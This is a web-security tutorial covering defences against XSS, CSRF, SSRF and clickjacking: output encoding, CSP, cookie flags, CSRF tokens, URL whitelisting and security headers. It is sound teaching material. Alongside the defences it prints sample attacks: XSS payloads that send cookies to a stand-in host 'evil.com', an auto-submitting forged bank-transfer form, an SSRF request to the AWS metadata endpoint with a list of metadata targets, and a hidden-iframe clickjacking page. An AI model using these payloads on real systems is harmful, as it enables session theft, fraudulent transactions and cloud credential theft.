Web Security Defense in Practice: A Comprehensive Defense System for XSS, CSRF, SSRF & Clickjacking

前端工程(Updated Jun 2, 2026)

Web Security Threat Landscape

Threat Impact Scope Severity Defense Complexity
XSS Data theft, session hijacking High Medium
CSRF Forged operations, financial loss High Low
SSRF Internal network probing, service attacks High Medium
Clickjacking Tricked user actions Medium Low

I. XSS (Cross-Site Scripting)

Three Types of XSS

Type Injection Point Persistence Typical Scenario
Stored Server-side storage Persistent Comments, user nicknames
Reflected URL parameters Temporary Search results, error messages
DOM-based Client-side JS Temporary URL hash, document.write

Stored XSS Attack Example

<!-- Attacker injects into comment section -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- Or more stealthy: img tag -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- Or SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

Defense #1: Output Encoding

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// Usage
element.innerHTML = escapeHtml(userInput);

Defense #2: CSP (Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
Directive Meaning Example
default-src Default policy 'self'
script-src JS source 'self' 'nonce-abc123'
style-src CSS source 'self' 'unsafe-inline'
img-src Image source 'self' data: https:
connect-src fetch/XHR source 'self' https://api.example.com
frame-ancestors Embedding source 'none' (prevents clickjacking)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly prevents JS from reading cookies via document.cookie, so even if XSS succeeds, session cookies cannot be stolen.

Defense #4: Trusted Types

// Enable Trusted Types API
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// After this, all innerHTML assignments must pass through a policy
element.innerHTML = userInput; // Without a policy, throws an error

II. CSRF (Cross-Site Request Forgery)

Attack Principle

<!-- Hidden form on attacker's website -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

User is already logged into the bank → Cookies are sent automatically → Forged request succeeds.

Set-Cookie: session=abc; SameSite=Strict
Value Cross-site Request Includes Cookie Use Case
Strict Does not include Most secure, but no cookies from external links
Lax Includes for GET requests Default, balances security & UX
None Always includes Requires Secure, third-party scenarios

Defense #2: CSRF Token

// Server generates token
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// Embed in form
// <input type="hidden" name="_csrf" value="${csrfToken}">

// Server-side validation
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // Process transfer
});
// Frontend: read CSRF token from cookie, put in request header
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

Defense #4: Origin/Referer Check

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

III. SSRF (Server-Side Request Forgery)

Attack Example

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 is the AWS metadata service — attackers can retrieve IAM credentials.

Common Internal Network Targets

Address Service Accessible Info
169.254.169.254 AWS Metadata IAM credentials, instance info
100.100.100.200 Alibaba Cloud Metadata Security credentials
metadata.google.internal GCP Metadata Service Account Token
127.0.0.1:6379 Redis Data, configuration
127.0.0.1:9200 Elasticsearch Data, cluster info

Defense #1: URL Whitelist

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // Block special IPs
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

Defense #2: DNS Rebinding Protection

// Resolve DNS first, validate IP, then make the request
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // Use the resolved IP directly to avoid DNS rebinding
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

IV. Clickjacking

Attack Principle

<!-- Attacker's website -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* Nearly invisible */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- Decoy button -->
<button class="decoy-button">Click to Claim Coupon</button>

<!-- Transparent iframe of target website -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

The user thinks they are clicking "Claim Coupon" but is actually clicking a bank transfer button.

Defense #1: X-Frame-Options

X-Frame-Options: DENY
Value Meaning
DENY Cannot be embedded in any page
SAMEORIGIN Only same-origin pages can embed

Defense #2: CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestors is the modern replacement for X-Frame-Options, supporting whitelists.

Defense #3: JS Frame Busting

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

V. Defense-in-Depth Architecture

Layer 1: Input Validation — Server-side validation of all input
Layer 2: Output Encoding — Context-aware escaping
Layer 3: CSP Policy — Restrict resource loading
Layer 4: Cookie Security — HttpOnly + SameSite + Secure
Layer 5: CSRF Token — Verify request origin
Layer 6: Rate Limiting — Restrict request frequency
Layer 7: WAF — Web Application Firewall

Complete Security Headers Configuration

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持